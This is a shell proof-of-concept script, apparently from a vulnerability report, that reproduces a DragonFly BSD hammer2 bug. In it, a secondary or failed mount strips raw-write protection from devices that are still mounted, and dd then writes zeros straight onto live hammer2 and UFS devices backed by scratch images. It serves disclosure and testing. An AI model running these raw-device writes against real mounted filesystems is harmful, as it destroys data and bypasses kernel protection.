#!/bin/csh -f
# DF-5799 PoC: hammer2_cleanup_devvp() unconditionally clears
# dev->si_mountpoint, stripping vfs_mountedon()/devfs raw-write protection
# from devices that are (a) backing a LIVE hammer2 mount (secondary PFS
# mount path, hammer2_vfsops.c:1360) or (b) mounted by ANOTHER filesystem
# (failed-mount path, hammer2_vfsops.c:1096).
#
# Expected on a vulnerable kernel:
#   step 3 : dd -> "Device busy"            (gate active, marker set)
#   step 4 : mount @LOCAL succeeds (routine secondary PFS mount)
#   step 5 : dd -> SUCCESS (gate stripped on the LIVE device)   <-- BUG
#   step 7 : dd -> "Device busy"            (UFS gate active)
#   step 8 : failed hammer2 mount attempt over the UFS device ("Device busy")
#   step 9 : dd -> SUCCESS under the live UFS mount              <-- BUG
#
echo "=== DF-5799 reproduction ==="
uname -a

# ---------- hammer2 variant ----------
dd if=/dev/zero of=/tmp/h2.img bs=1m count=200 status=none
/usr/sbin/vnconfig -c -S 200m /dev/vn0 /tmp/h2.img
newfs_hammer2 -L ROOT /dev/vn0 > /dev/null
mkdir -p /mnt/a /mnt/b

echo "--- [1] primary hammer2 mount ---"
mount -t hammer2 /dev/vn0@ROOT /mnt/a; echo "mount rc=$?"

echo "--- [2] PFS list ---"
hammer2 pfs-list /mnt/a

echo "--- [3] raw write gate BEFORE secondary mount (expect EBUSY) ---"
dd if=/dev/zero of=/dev/vn0 bs=64k count=1; echo "dd rc=$?"

echo "--- [4] routine secondary PFS mount from the same device ---"
mount -t hammer2 /dev/vn0@LOCAL /mnt/b; echo "mount rc=$?"
mount | grep vn0

echo "--- [5] raw write gate AFTER secondary mount (BUG: expect success) ---"
dd if=/dev/zero of=/dev/vn0 bs=64k count=1; echo "dd rc=$?"

echo "--- [6] also a FAILED secondary mount attempt strips the gate ---"
umount /mnt/b
mount -t hammer2 /dev/vn0@NOSUCH /mnt/b; echo "failed-mount rc=$? (expected nonzero)"
dd if=/dev/zero of=/dev/vn0 bs=64k count=1; echo "dd rc=$?"

umount /mnt/a
vnconfig -u vn0 > /dev/null

# ---------- cross-filesystem variant (UFS victim) ----------
echo "--- [7] UFS mount on vn1 ---"
dd if=/dev/zero of=/tmp/ufs.img bs=1m count=100 status=none
/usr/sbin/vnconfig -c -S 100m /dev/vn1 /tmp/ufs.img
newfs /dev/vn1 > /dev/null
mkdir -p /mnt/u1 /mnt/b2
mount -t ufs /dev/vn1 /mnt/u1; echo "ufs mount rc=$?"
echo "--- raw write gate on UFS device (expect EBUSY) ---"
dd if=/dev/zero of=/dev/vn1 bs=64k count=1; echo "dd rc=$?"

echo "--- [8] failed hammer2 mount attempt over the UFS device ---"
mount -t hammer2 /dev/vn1@X /mnt/b2; echo "h2 mount rc=$? (expected 1: Device busy)"

echo "--- [9] raw write gate after failed attempt (BUG: expect success) ---"
dd if=/dev/zero of=/dev/vn1 bs=64k count=1; echo "dd rc=$?"

umount /mnt/u1
vnconfig -u vn1 > /dev/null
echo "=== done ==="
